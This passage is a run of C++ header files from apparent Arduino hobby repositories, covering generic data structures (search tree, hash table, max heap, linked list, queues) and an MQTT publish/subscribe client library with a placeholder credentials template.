Type[new_capacity]; for (int i = 0; i < vector_size; ++i) { array[i] = temp[i]; } vector_capacity = new_capacity; delete[] temp; } #endif
aidan-clyens/Arduino_Data_Structures
SearchTree/src/SearchTree.h
<reponame>aidan-clyens/Arduino_Data_Structures /***********************************************************/ /* Search Tree /* /* <NAME> /* August 20, 2018 /***********************************************************/ #ifndef SEARCH_TREE_H #define SEARCH_TREE_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif template <typename Type> class SearchTree { public: class SearchNode { public: SearchNode( Type const & ); // Size int height() const; // Element Access SearchNode *find( Type const & ); // Modifers bool insert( Type const & ); bool erase( Type const &, SearchNode *& ); void clear(); // Misc. bool is_leaf() const; int max( int, int ) const; void print( int = 0 ); bool is_search_tree(); Type node_value; SearchNode* left_tree; SearchNode* right_tree; int tree_height; }; SearchTree(); ~SearchTree(); // Size bool empty() const; int size() const; int height() const; // Element Access Type top(); SearchNode *find( Type const & ); // Modifiers bool insert( Type const & ); bool erase( Type const & ); void clear(); // Misc. void print(); bool is_search_tree(); private: SearchNode* root_node; int tree_size; }; /***********************************************/ /*************** SearchTree ***************/ /***********************************************/ /*************************************** * Constructors ****************************************/ /* * Search Tree Constructor */ template <typename Type> SearchTree<Type>::SearchTree(): root_node( nullptr ), tree_size( 0 ) { // Empty Constructor } /* * Search Tree Destructor */ template <typename Type> SearchTree<Type>::~SearchTree() { clear(); } /*************************************** * Public Size Functions ****************************************/ /* * empty */ template <typename Type> bool SearchTree<Type>::empty() const { return (tree_size == 0); } /* * size */ template <typename Type> int SearchTree<Type>::size() const { return tree_size; } /* * height */ template <typename Type> int SearchTree<Type>::height() const { if (root_node == nullptr) return -1; else return root_node->height(); } /*************************************** * Public Element Access Functions ****************************************/ template <typename Type> Type SearchTree<Type>::top() { if (root_node != nullptr) return root_node->node_value; } /* * find */ template <typename Type> typename SearchTree<Type>::SearchNode *SearchTree<Type>::find(Type const &obj) { if (empty()) return nullptr; return root_node->find(obj); } /*************************************** * Public Modifier Functions ****************************************/ /* * insert */ template <typename Type> bool SearchTree<Type>::insert(Type const &obj) { if (empty()) { root_node = new SearchTree::SearchNode(obj); tree_size = 1; return true; } else if (root_node->insert(obj)) { ++tree_size; return true; } else { return false; } } /* * erase */ template <typename Type> bool SearchTree<Type>::erase(Type const &obj) { if (empty()) return false; if (root_node->erase(obj, root_node)) { --tree_size; return true; } } /* * clear */ template <typename Type> void SearchTree<Type>::clear() { if (root_node != nullptr) root_node->clear(); } /*************************************** * Public Misc. Functions ****************************************/ /* * print */ template <typename Type> void SearchTree<Type>::print() { root_node->print(6*height()); } template <typename Type> bool SearchTree<Type>::is_search_tree() { if (root_node != nullptr) root_node->is_search_tree(); else return true; } /***********************************************/ /*************** SearchNode ***************/ /***********************************************/ /*************************************** * Constructors ****************************************/ /* * SearchNode Constructor */ template <typename Type> SearchTree<Type>::SearchNode::SearchNode(Type const &obj): node_value( obj ), left_tree( nullptr ), right_tree( nullptr ), tree_height( 0 ) { // Empty Constructor } /*************************************** * Public Size Functions ****************************************/ /* * height */ template <typename Type> int SearchTree<Type>::SearchNode::height() const { return (this == nullptr) ? -1 : tree_height; } /*************************************** * Element Access Functions ****************************************/ /* * find */ template <typename Type> typename SearchTree<Type>::SearchNode *SearchTree<Type>::SearchNode::find(Type const &obj) { if (obj == node_value) { return this; } else if (obj < node_value) { if (left_tree != nullptr) { return left_tree->find(obj); } else { return nullptr; } } else if (obj > node_value) { if (right_tree != nullptr) { return right_tree->find(obj); } else { return nullptr; } } } /*************************************** * Public Modifier Functions ****************************************/ /* * insert */ template <typename Type> bool SearchTree<Type>::SearchNode::insert(Type const &obj) { // If the new object is less than the current value, attempt to insert into the left tree if (obj < node_value) { // If there is no left tree, create a new node if (left_tree == nullptr) { left_tree = new SearchTree::SearchNode(obj); tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; // If there is a left tree, attempt to insert into it } else { if (left_tree->insert(obj)) { tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; // If the new object could not be inserted into the left tree, return false } else { return false; } } // If the new object is greater than the current value, attempt to insert into the right tree } else if (obj > node_value) { // If there is no right tree, create a new node if (right_tree == nullptr) { right_tree = new SearchTree::SearchNode(obj); tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; // If there is a right tree, attempt to insert into it } else if (right_tree->insert(obj)) { tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; // If the new object could not be inserted into the right tree, return false } else { return false; } // If the object is equal to the current value, do nothing and return false } else { return false; } } /* * erase */ template <typename Type> bool SearchTree<Type>::SearchNode::erase(Type const &obj, SearchNode *&to_this) { if (obj < node_value) { if (left_tree != nullptr) { if (left_tree->erase(obj, left_tree)) { tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; } else { return false; } } } else if (obj > node_value) { if (right_tree != nullptr) { if (right_tree->erase(obj, right_tree)) { tree_height = max(left_tree->height(), right_tree->height()) + 1; return true; } else { return false; } } } else { if (is_leaf()) { to_this = nullptr; delete this; } else if (left_tree == nullptr) { to_this = right_tree; delete this; } else if (right_tree == nullptr) { to_this = left_tree; delete this; } else { node_value = right_tree->node_value; right_tree->erase(node_value, right_tree); tree_height = max(left_tree->height(), right_tree->height()) + 1; } return this; } } /* * clear */ template <typename Type> void SearchTree<Type>::SearchNode::clear() { if (left_tree != nullptr) left_tree->clear(); if (right_tree != nullptr) right_tree->clear(); delete this; } /*************************************** * Public Misc. Functions ****************************************/ /* * is_leaf */ template <typename Type> bool SearchTree<Type>::SearchNode::is_leaf() const { return (left_tree == nullptr && right_tree == nullptr); } /* * print */ template <typename Type> void SearchTree<Type>::SearchNode::print(int indent) { if (this != nullptr) { if (indent) { for (int i = 0; i < indent; ++i) { #ifdef ARDUINO_H Serial.print(" "); #else std::cout << " "; #endif } } #ifdef ARDUINO_H Serial.println(node_value); #else std::cout << node_value << std::endl; #endif if (left_tree != nullptr) left_tree->print(indent-5); if (right_tree != nullptr) right_tree->print(indent+5); } } /* * max */ template <typename Type> int SearchTree<Type>::SearchNode::max(int lhs, int rhs) const { return (lhs > rhs) ? lhs : rhs; } template <typename Type> bool SearchTree<Type>::SearchNode::is_search_tree() { if (left_tree != nullptr) { if (left_tree->node_value > node_value) return false; } if (right_tree != nullptr) { if (right_tree->node_value < node_value) return false; } return true; } #endif
aidan-clyens/Arduino_Data_Structures
HashTable/src/HashTable.h
<reponame>aidan-clyens/Arduino_Data_Structures<filename>HashTable/src/HashTable.h /***********************************************************/ /* Hash Table /* /* A hash table that uses quadratic probing. /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* July 18, 2018 /***********************************************************/ #ifndef HASH_TABLE_H #define HASH_TABLE_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif enum bin_state_t { UNOCCUPIED, OCCUPIED, ERASED }; template <typename Type> class HashTable { public: HashTable( int = 5 ); ~HashTable(); // Size int size() const; int capacity() const; bool empty() const; // Element Access Type at( int ) const; bool member( Type const & ) const; // Modifiers void insert( Type const & ); bool erase( Type const &); void clear(); // Misc. double load_factor() const; void print(); private: int hash( Type const & ) const; int power; int table_size; int erased_count; int array_capacity; Type *array; bin_state_t *occupied; }; /*************************************** * Constructors ****************************************/ /* * Default Hash Table Constructor */ template <typename Type> HashTable<Type>::HashTable(int n): power( n ), table_size( 0 ), erased_count( 0 ), array_capacity( 1 << power ), array( new Type[array_capacity] ), occupied( new bin_state_t[array_capacity] ) { // Initialize all bin of the hash table as UNOCCUPIED for (int i = 0; i < array_capacity; ++i) { occupied[i] = UNOCCUPIED; } } /* * Hash Table Destructor */ template <typename Type> HashTable<Type>::~HashTable() { delete[] array; delete[] occupied; } /*************************************** * Public Size Functions ****************************************/ /* * size */ template <typename Type> int HashTable<Type>::size() const { return table_size; } /* * capacity */ template <typename Type> int HashTable<Type>::capacity() const { return array_capacity; } /* * empty */ template <typename Type> bool HashTable<Type>::empty() const { return (table_size == 0); } /*************************************** * Public Element Access Functions ****************************************/ /* * at */ template <typename Type> Type HashTable<Type>::at(int n) const { return array[n]; } /* * member */ template <typename Type> bool HashTable<Type>::member(Type const &obj) const { // Create the hash value of the object to use as the starting index int index = hash(obj); for (int i = 0; i < array_capacity; ++i) { // Use quadratic probing to search the hash table index = (index + i) % array_capacity; // Return true if the object if found if (occupied[index] == OCCUPIED && array[index] == obj) { return true; } } return false; } /*************************************** * Public Modifier Functions ****************************************/ /* * insert */ template <typename Type> void HashTable<Type>::insert(Type const &obj) { // Return if hash table is full if (table_size == array_capacity) return; // Return if the object is already in the hash table if (member(obj)) return; // Create the hash value of the object to use as the starting index int index = hash(obj); int i = 0; while (occupied[index] == OCCUPIED) { // Use quadratic probing to search for an UNOCCUPIED or ERASED bin index = (index + i) % array_capacity; ++i; } // Insert the object into the first empty bin and mark it as occupied array[index] = obj; occupied[index] = OCCUPIED; ++table_size; } /* * erase */ template <typename Type> bool HashTable<Type>::erase(Type const &obj) { // Create the hash value of the object to use as the starting index int index = hash(obj); // Use quadratic probing to iterate through the hash table for (int i = 0; i < array_capacity; ++i) { index = (index + i) % array_capacity; // If the current bin is OCCUPIED and equals the object, mark it as ERASED if (occupied[index] == OCCUPIED && array[index] == obj) { occupied[index] = ERASED; --table_size; ++erased_count; return true; } } return false; } /* * clear */ template <typename Type> void HashTable<Type>::clear() { // Iterate through the table and mark all bins as UNOCCUPIED for (int i = 0; i < array_capacity; ++i) { occupied[i] = UNOCCUPIED; table_size = 0; erased_count = 0; } } /*************************************** * Misc. Functions ****************************************/ /* * load_factor */ template <typename Type> double HashTable<Type>::load_factor() const { return (static_cast<double>(table_size) + static_cast<double>(erased_count)) / static_cast<double>(array_capacity); } /* * print */ template <typename Type> void HashTable<Type>::print() { for (int i = 0; i < array_capacity; ++i) { if (occupied[i] == UNOCCUPIED) { #ifdef ARDUINO_H Serial.print("U"); #else std::cout << "U"; #endif } else if (occupied[i] == ERASED) { #ifdef ARDUINO_H Serial.print("E"); #else std::cout << "E"; #endif } else if (occupied[i] == OCCUPIED) { #ifdef ARDUINO_H Serial.print(array[i]); #else std::cout << array[i]; #endif } #ifdef ARDUINO_H Serial.print(" "); #else std::cout << " "; #endif } #ifdef ARDUINO_H Serial.println(); #else std::cout << std::endl; #endif } /*************************************** * Private Functions ****************************************/ /* * hash */ template <typename Type> int HashTable<Type>::hash(Type const &obj) const { int n = static_cast<int>(obj); int hash = n % array_capacity; return (hash >= 0) ? hash : hash + array_capacity; } #endif
aidan-clyens/Arduino_Data_Structures
MaxHeap/src/MaxHeap.h
/***********************************************************/ /* Max Heap /* /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* May 31, 2018 /***********************************************************/ #ifndef MAX_HEAP_H #define MAX_HEAP_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif #include "../include/Vector.h" template <typename Type> class MaxHeap { public: MaxHeap( int = 16 ); ~MaxHeap(); // Size int size() const; bool empty() const; // Element Access Type top() const; // Modifers void push( const Type & ); void pop(); // Misc. void print(); bool is_max_heap( int ); private: void swap( Type &, Type &); void percolate_up( int ); void percolate_down( int ); vector<Type> heap; }; /*************************************** * Constructors ****************************************/ /* * Default Heap Constructor */ template <typename Type> MaxHeap<Type>::MaxHeap(int n) { vector<Type> heap(n); } /* * Heap Destructor */ template <typename Type> MaxHeap<Type>::~MaxHeap() { // Empty } /*************************************** * Public Size Functions ****************************************/ /* size * Returns the size of the heap. */ template <typename Type> int MaxHeap<Type>::size() const { return heap.size(); } /* empty * Returns whether the heap is empty or not. */ template <typename Type> bool MaxHeap<Type>::empty() const { return (size() == 0); } /*************************************** * Public Element Access Functions ****************************************/ /* top * Return the element at the top of the heap. */ template <typename Type> Type MaxHeap<Type>::top() const { return heap.front(); } /*************************************** * Public Modifier Functions ****************************************/ /* push * Push an element to the bottom of the heap and percolate it up. */ template <typename Type> void MaxHeap<Type>::push(const Type &obj) { heap.push_back(obj); percolate_up(size() - 1); } /* pop * Pop an element from the top of the heap and percolate new top down * if necessary. */ template <typename Type> void MaxHeap<Type>::pop() { heap.front() = heap.back(); heap.pop_back(); percolate_down(0); } /*************************************** * Misc. Functions ****************************************/ /* print_heap * Print the heap contents. */ template <typename Type> void MaxHeap<Type>::print() { heap.print(); } /* is_max_heap * Returns whether or not the container is a correct max heap. */ template <typename Type> bool MaxHeap<Type>::is_max_heap(int n) { int left = 2*n + 1; int right = 2*n + 2; bool is_heap = true; // If the current node has a right child, check that it is less than the current node if (right < size()) { if (heap[right] <= heap[n] && is_max_heap(right)) is_heap = true; else return false; } // If the current node has a left child, check that is is less than the current node if (left < size()) { if (heap[left] <= heap[n] && is_max_heap(left)) is_heap = true; else return false; } return is_heap; } /*************************************** * Private Functions ****************************************/ /* swap * Swap two elements. */ template <typename Type> void MaxHeap<Type>::swap(Type &a, Type &b) { Type temp = a; a = b; b = temp; } /* percolate_up * When pushing to the heap, move the new element up if the * parent is less than the new element. */ template <typename Type> void MaxHeap<Type>::percolate_up(int n) { int parent = (n - 1) / 2; // If the parent of the current node is less than the current node, // swap and check the parent recursively if (heap[parent] < heap[n]) { swap(heap[parent], heap[n]); percolate_up(parent); } } /* percolate_down * When popping the top element of the heap, check the children of * the new top to make sure they are less than the new top. */ template <typename Type> void MaxHeap<Type>::percolate_down(int n) { int left = 2*n + 1; int right = 2*n + 2; int max; // The current node has no children, so return if (left > size() - 1) return; // If the current node has two children, compare both if (right < size()) { max = (heap[left] > heap[right]) ? left : right; } else { max = left; } // If the maximum of the node's children is greater than the current node, // swap and check the subtree recursively if (heap[n] < heap[max]) { swap(heap[n], heap[max]); percolate_down(max); } } #endif
aidan-clyens/Arduino_Data_Structures
QueueList/include/LinkedList.h
/***********************************************************/ /* Doubly Linked List /* /* Uses sentinel nodes at the head and tail of the linked /* list. /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* May 9, 2018 /***********************************************************/ #ifndef LINKED_LIST_ARDUINO_H #define LINKED_LIST_ARDUINO_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif template <typename Type> class LinkedList { public: class Node { public: Node( Type const & = Type(), Node * = nullptr, Node * = nullptr ); // Element Access Type value() const; Node* next() const; Node* previous() const; Type node_value; Node *next_node; Node *previous_node; }; LinkedList(); LinkedList( LinkedList const & ); ~LinkedList(); // Size int size() const; bool empty() const; // Element Access Type front() const; Type back() const; Node* begin() const; Node* end() const; Node* rbegin() const; Node* rend() const; Node* find() const; // Modifiers void push_front( Type const & ); void push_back( Type const & ); void pop_front(); void pop_back(); void clear(); // Misc. void print(); private: int list_size; Node *list_head; Node *list_tail; }; /***********************************************/ /*************** LinkedList ***************/ /***********************************************/ /*************************************** * Constructors ****************************************/ /* * Linked List Default Constructor */ template <typename Type> LinkedList<Type>::LinkedList(): list_head( new Node() ), list_tail( new Node() ), list_size( 0 ) { list_head->next_node = list_tail; list_tail->previous_node = list_head; } /* * Linked List Copy Constructor */ template <typename Type> LinkedList<Type>::LinkedList(LinkedList<Type> const &list): list_head( new Node() ), list_tail( new Node() ), list_size( 0 ) { list_head->next_node = list_tail; list_tail->previous_node = list_head; for (Node *ptr = list.begin(); ptr != list.end(); ptr = ptr->next()) { push_back(ptr->value()); } } /* * Linked List Destructor */ template <typename Type> LinkedList<Type>::~LinkedList() { clear(); delete list_head; delete list_tail; } /*************************************** Public Size Functions ****************************************/ /* * size * Returns the linked list size */ template <typename Type> int LinkedList<Type>::size() const { return list_size; } /* * empty * Returns a boolean value stating if the linked list is empty */ template <typename Type> bool LinkedList<Type>::empty() const { return (list_size == 0); } /*************************************** * Public Element Access Functions ****************************************/ /* * front * Returns the element at the front of the linked list */ template <typename Type> Type LinkedList<Type>::front() const { return (!empty()) ? begin()->value() : Type(); } /* * back * Returns the element at the end of the linked list */ template <typename Type> Type LinkedList<Type>::back() const { return (!empty()) ? rbegin()->value() : Type(); } /* * begin * Returns the address of the first node in the linked list */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::begin() const { return list_head->next(); } /* * end * Returns the address of the tail sentinel node of the linked list_tail */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::end() const { return list_tail; } /* * rbegin * Returns the address of the last node in the linked list */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::rbegin() const { return list_tail->previous(); } /* * rend * Returns the address of the head sentinel node of the linked list_tail */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::rend() const { return list_head; } /*************************************** * Public Modifier Functions ****************************************/ /* * push_front * Pushs a new object to the front of the linked list */ template <typename Type> void LinkedList<Type>::push_front(Type const &obj) { // Store current first node in the list and create a new empty node Node *temp = begin(); Node *node = new Node(obj, temp, list_head); // Reassign pointers at the head of the list list_head->next_node = node; temp->previous_node = node; ++list_size; } /* * push_back * Pushs a new object to the back of the linked list */ template <typename Type> void LinkedList<Type>::push_back(Type const &obj) { // Store the current last node in the list and create a new empty node Node *temp = rbegin(); Node *node = new Node(obj, list_tail, temp); // Reassign pointers at the tail of the list list_tail->previous_node = node; temp->next_node = node; ++list_size; } /* * pop_front * Pops the object from the front of the linked list */ template <typename Type> void LinkedList<Type>::pop_front() { if (empty()) return; Node *temp = begin(); temp->next()->previous_node = list_head; list_head->next_node = temp->next(); delete temp; --list_size; } /* * pop_back * Pops the object from the back of the linked list */ template <typename Type> void LinkedList<Type>::pop_back() { if (empty()) return; Node *temp = rbegin(); temp->previous()->next_node = list_tail; list_tail->previous_node = temp->previous(); delete temp; --list_size; } /* * clear * Deletes all of the elements in the linked list */ template <typename Type> void LinkedList<Type>::clear() { while (!empty()) pop_front(); } /*************************************** * Public Misc. Functions ****************************************/ /* * print * Prints the list using Arduino serial communication */ template <typename Type> void LinkedList<Type>::print() { #ifdef ARDUINO_H Serial.print("head -> "); #else std::cout << "head -> "; #endif for (typename LinkedList<Type>::Node *ptr = begin(); ptr != end(); ptr = ptr->next()) { #ifdef ARDUINO_H Serial.print(ptr->value()); Serial.print(" -> "); #else std::cout << ptr->value() << " -> "; #endif } #ifdef ARDUINO_H Serial.println("tail"); #else std::cout << "tail" << std::endl; #endif } /***********************************************/ /*************** Node ***************/ /***********************************************/ /*************************************** * Constructors ****************************************/ /* * Default Node Constructor */ template <typename Type> LinkedList<Type>::Node::Node(Type const &obj, typename LinkedList<Type>::Node *next, typename LinkedList<Type>::Node *previous): node_value( obj ), next_node( next ), previous_node( previous ) { // Empty } /*************************************** * Element Access Functions ****************************************/ /* * value * Returns the node value */ template <typename Type> Type LinkedList<Type>::Node::value() const { return node_value; } /* * next * Returns the address of the next node to the current node */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::Node::next() const { return next_node; } /* * previous * Returns the address of the previous node to the current node */ template <typename Type> typename LinkedList<Type>::Node *LinkedList<Type>::Node::previous() const { return previous_node; } #endif
aidan-clyens/Arduino_Data_Structures
QueueList/src/QueueList.h
/***********************************************************/ /* QueueList /* /* This is an implementation used a custom Linked List /* class. /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* May 17, 2018 /***********************************************************/ #ifndef QUEUE_LIST_ARDUINO_H #define QUEUE_LIST_ARDUINO_H #ifdef ARDUINO_H #include "Arduino.h" #endif #include "../include/LinkedList.h" template <typename Type> class QueueList { public: QueueList(); QueueList( QueueList const & ); ~QueueList(); // Accessor Functions int size() const; bool empty() const; Type front() const; Type back() const; // Mutator Functions void push( Type const & ); void pop(); void clear(); void print(); private: LinkedList<Type> queue; }; /*************************************/ /********** Queue **********/ /*************************************/ // Default QueueList Constructor template <typename Type> QueueList<Type>::QueueList() { // Empty Constructor } // QueueList Copy Constructor template <typename Type> QueueList<Type>::QueueList(QueueList<Type> const &copy) { queue = copy.queue; } // QueueList Destructor template <typename Type> QueueList<Type>::~QueueList() { queue.clear(); } /****** QueueList Accessor Functions ******/ // Return the size of the queue template <typename Type> int QueueList<Type>::size() const { return queue.size(); } // Returns a boolean value stating if the queue is empty template <typename Type> bool QueueList<Type>::empty() const { return queue.empty(); } // Return the element at the front of the queue template <typename Type> Type QueueList<Type>::front() const { return queue.front(); } // Return the element at the back of the queue template <typename Type> Type QueueList<Type>::back() const { return queue.back(); } /****** QueueList Mutator Functions ******/ // Push a new element to the back of the queue template <typename Type> void QueueList<Type>::push(Type const &obj) { queue.push_back(obj); } // Pop the element at the front of the list template <typename Type> void QueueList<Type>::pop() { queue.pop_front(); } // Clears all the elements in the queue template <typename Type> void QueueList<Type>::clear() { queue.clear(); } // Print the queue on the Arduino serial monitor template <typename Type> void QueueList<Type>::print() { queue.print(); } #endif
aidan-clyens/Arduino_Data_Structures
QueueArray/src/QueueArray.h
/***********************************************************/ /* QueueArray /* /* This is an implementation using arrays. Currently, there /* is no dynamic array resizing. /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* May 23, 2018 /***********************************************************/ #ifndef QUEUE_ARRAY_H #define QUEUE_ARRAY_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif template <typename Type> class QueueArray { public: QueueArray( int = 16 ); ~QueueArray(); // Size int size() const; bool empty() const; // Element Access Type front() const; Type back() const; // Modifiers void push( Type const & ); void pop(); void clear(); // Misc. void print(); private: Type* queue; int queue_size; int queue_capacity; int front_index; int back_index; }; /*************************************** * Constructors ****************************************/ /* * Default QueueArray Constructor */ template <typename Type> QueueArray<Type>::QueueArray(int n): queue_capacity( n ), queue_size( 0 ), queue( new Type[n] ), front_index( 0 ), back_index( -1 ) { // Empty Constructor } /* * QueueArray Destructor */ template <typename Type> QueueArray<Type>::~QueueArray() { delete[] queue; } /*************************************** * Public Size Functions ****************************************/ /* * size * Return the size of the queue */ template <typename Type> int QueueArray<Type>::size() const { return queue_size; } /* * empty * Returns a boolean value stating if the queue is empty */ template <typename Type> bool QueueArray<Type>::empty() const { return (queue_size == 0); } /*************************************** * Public Element Access Functions ****************************************/ /* * front * Return the element at the front of the queue */ template <typename Type> Type QueueArray<Type>::front() const { return queue[front_index]; } /* * back * Return the element at the back of the queue */ template <typename Type> Type QueueArray<Type>::back() const { return queue[back_index]; } /*************************************** * Public Modifier Functions ****************************************/ /* * push * Push a new element to the back of the queue */ template <typename Type> void QueueArray<Type>::push(Type const &obj) { if (queue_size == queue_capacity) return; // Move back index forwards, accounting for array wraparound back_index = ++back_index % queue_capacity; queue[back_index] = obj; ++queue_size; } /* * pop * Pop the element at the front of the list */ template <typename Type> void QueueArray<Type>::pop() { if (empty()) return; // Move front index forwards, accounting for array wraparound front_index = ++front_index % queue_capacity; --queue_size; } /* * clear * Clears all the elements in the queue */ template <typename Type> void QueueArray<Type>::clear() { delete[] queue; queue = new Type[queue_capacity]; queue_size = 0; front_index = 0; back_index = -1; } /*************************************** * Public Misc. Functions ****************************************/ /* * print * Print the queue on the Arduino serial monitor */ template <typename Type> void QueueArray<Type>::print() { if (empty()) return; int i = front_index; while (i != back_index) { #ifdef ARDUINO_H Serial.print(queue[i]); Serial.print(" "); #else std::cout << queue[i] << " "; #endif i = ++i % queue_capacity; } #ifdef ARDUINO_H Serial.println(queue[back_index]); #else std::cout << queue[back_index] << std::endl; #endif } #endif
airbit/ArduinoMQTT
src/PubSubClient.h
/* PubSubClient.h - A simple client for MQTT. <NAME> http://knolleary.net */ #ifndef PubSubClient_h #define PubSubClient_h #include <Arduino.h> #include <Stream.h> #include <WiFi.h> #include <IPAddress.h> #include "MQTT.h" #define MQTTPROTOCOLVERSION 3 #define MQTTCONNECT 1 << 4 // Client request to connect to Server #define MQTTCONNACK 2 << 4 // Connect Acknowledgment #define MQTTPUBLISH 3 << 4 // Publish message #define MQTTPUBACK 4 << 4 // Publish Acknowledgment #define MQTTPUBREC 5 << 4 // Publish Received (assured delivery part 1) #define MQTTPUBREL 6 << 4 // Publish Release (assured delivery part 2) #define MQTTPUBCOMP 7 << 4 // Publish Complete (assured delivery part 3) #define MQTTSUBSCRIBE 8 << 4 // Client Subscribe request #define MQTTSUBACK 9 << 4 // Subscribe Acknowledgment #define MQTTUNSUBSCRIBE 10 << 4 // Client Unsubscribe request #define MQTTUNSUBACK 11 << 4 // Unsubscribe Acknowledgment #define MQTTPINGREQ 12 << 4 // PING Request #define MQTTPINGRESP 13 << 4 // PING Response #define MQTTDISCONNECT 14 << 4 // Client is Disconnecting #define MQTTReserved 15 << 4 // Reserved #define MQTTQOS0 (0 << 1) #define MQTTQOS1 (1 << 1) #define MQTTQOS2 (2 << 1) struct mqtt_packet_t { uint8_t header; uint8_t *data; size_t length; size_t total; }; class PubSubClient { public: typedef void(*callback_t)(const MQTT::Publish &, void *); private: IPAddress server_ip; String server_hostname; uint16_t server_port; bool _ssl; String username, password; callback_t _callback; void *_callback_data; Stream *_stream; WiFiClient _client; uint8_t buffer[MQTT_MAX_PACKET_SIZE]; uint16_t keepalive = MQTT_KEEPALIVE; uint8_t _max_retries; uint16_t nextMsgId; unsigned long lastOutActivity; unsigned long lastInActivity; bool pingOutstanding; size_t send(uint8_t c); size_t send(const uint8_t *buf, size_t len); bool send(MQTT::Message &message); bool sendReliably(MQTT::Message &message); mqtt_packet_t readPacket(); MQTT::Message *readMessage(); uint8_t readByte(); bool write(uint8_t header, uint8_t *buf, uint16_t length); uint16_t writeString(String string, uint8_t *buf, uint16_t pos); // Wait for a certain type of packet to come back, optionally check its packet id bool wait_for(uint8_t wait_type, uint16_t wait_pid = 0); bool processMessage(MQTT::Message *msg, uint8_t match_type = 0, uint16_t match_pid = 0); public: PubSubClient(); PubSubClient(IPAddress &ip, uint16_t port = 1883, bool ssl = false); PubSubClient(String hostname, uint16_t port = 1883, bool ssl = false); PubSubClient &set_server(IPAddress &ip, uint16_t port = 1883, bool ssl = false); PubSubClient &set_server(String hostname, uint16_t port = 1883, bool ssl = false); PubSubClient &unset_server(void); PubSubClient &set_auth(String u, String p); PubSubClient &unset_auth(void); callback_t callback(void) const { return _callback; } PubSubClient &set_callback(callback_t cb, void *data = NULL); PubSubClient &unset_callback(void); // Set the maximum number of retries when waiting for response packets PubSubClient &set_max_retries(uint8_t mr) { _max_retries = mr; return *this; } Stream *stream(void) const { return _stream; } PubSubClient &set_stream(Stream &s); PubSubClient &unset_stream(void); bool connect(String id); bool connect(String id, String willTopic, uint8_t willQos, bool willRetain, String willMessage); void disconnect(void); bool publish(String topic, String payload); bool publish(String topic, const uint8_t *payload, unsigned int plength, bool retained = false); bool publish_P(String topic, const uint8_t PROGMEM *payload, unsigned int, bool retained = false); bool subscribe(String topic, uint8_t qos = 0); bool unsubscribe(String topic); bool loop(); bool connected(); bool publish(MQTT::Publish &pub); // Return the next packet id // Needed for constructing our own publish (with QoS>0) or (un)subscribe messages uint16_t next_packet_id(void) { nextMsgId++; if (nextMsgId == 0) nextMsgId = 1; return nextMsgId; } }; #endif
airbit/ArduinoMQTT
examples/mqtt_subscriber/.creds.h
<gh_stars>0 // creds.h template #ifndef CREDS_H #define CREDS_H const char *ssid = "xxxxxxxx"; // cannot be longer than 32 characters! const char *pass = "<PASSWORD>"; // #endif //CREDS_H
airbit/ArduinoMQTT
ArduinoMQTT.h
// // Created by 陶源 on 15/6/17. // #ifndef ARDUINO_MQTT_H #define ARDUINO_MQTT_H #include "src/MQTT.h" #include "src/PubSubClient.h" #endif //ARDUINO_MQTT_H
airbit/ArduinoMQTT
src/MQTT.h
// // Created by 陶源 on 15/6/18. // #ifndef MQTT_H #define MQTT_H #include <Arduino.h> #include <stdint.h> #include <stddef.h> #include <WString.h> #include <Client.h> // MQTT_MAX_PACKET_SIZE : Maximum packet size #ifdef __CC3200R1M1RGC__ #define MQTT_MAX_PACKET_SIZE 1024 #else #define MQTT_MAX_PACKET_SIZE 128 #endif #define MQTT_MAX_PAYLOAD_SIZE 896 #define MQTT_SEND_BLOCK_SIZE 64 // MQTT_KEEPALIVE : keepAlive interval in Seconds #define MQTT_KEEPALIVE 15 #define MQTT_CONNECT 1 // Client request to connect to Server #define MQTT_CONNACK 2 // Connect Acknowledgment #define MQTT_PUBLISH 3 // Publish message #define MQTT_PUBACK 4 // Publish Acknowledgment #define MQTT_PUBREC 5 // Publish Received (assured delivery part 1) #define MQTT_PUBREL 6 // Publish Release (assured delivery part 2) #define MQTT_PUBCOMP 7 // Publish Complete (assured delivery part 3) #define MQTT_SUBSCRIBE 8 // Client Subscribe request #define MQTT_SUBACK 9 // Subscribe Acknowledgment #define MQTT_UNSUBSCRIBE 10 // Client Unsubscribe request #define MQTT_UNSUBACK 11 // Unsubscribe Acknowledgment #define MQTT_PINGREQ 12 // PING Request #define MQTT_PINGRESP 13 // PING Response #define MQTT_DISCONNECT 14 // Client is Disconnecting #define MQTT_Reserved 15 // Reserved namespace MQTT { class Message { protected: uint8_t _type, _flags; uint16_t _packet_id; // Not all message types use a packet id, but most do Message(uint8_t t, uint8_t f = 0) : _type(t), _flags(f), _packet_id(0) { } Message(uint8_t t, uint16_t pid) : _type(t), _flags(0), _packet_id(pid) { } // Write the fixed header to a buffer bool write_fixed_header(uint8_t *buf, size_t &bufpos, size_t rlength); bool write_packet_id(uint8_t *buf, size_t &bufpos); // Abstract methods to be implemented by derived classes virtual bool write_variable_header(uint8_t *buf, size_t &bufpos) = 0; virtual bool write_payload(uint8_t *buf, size_t &bufpos) { } public: virtual uint8_t response_type(void) const { return 0; } // Send the message out bool send(Stream &stream, size_t block_size = MQTT_SEND_BLOCK_SIZE); bool send(Stream &stream, uint8_t *buffer, size_t block_size = MQTT_SEND_BLOCK_SIZE); // Get the message type uint8_t type(void) const { return _type; } // Get the packet id uint16_t packet_id(void) const { return _packet_id; } }; class Publish : public Message { protected: String _topic; uint8_t *_payload; size_t _payload_len; bool write_variable_header(uint8_t *buf, size_t &bufpos); bool write_payload(uint8_t *buf, size_t 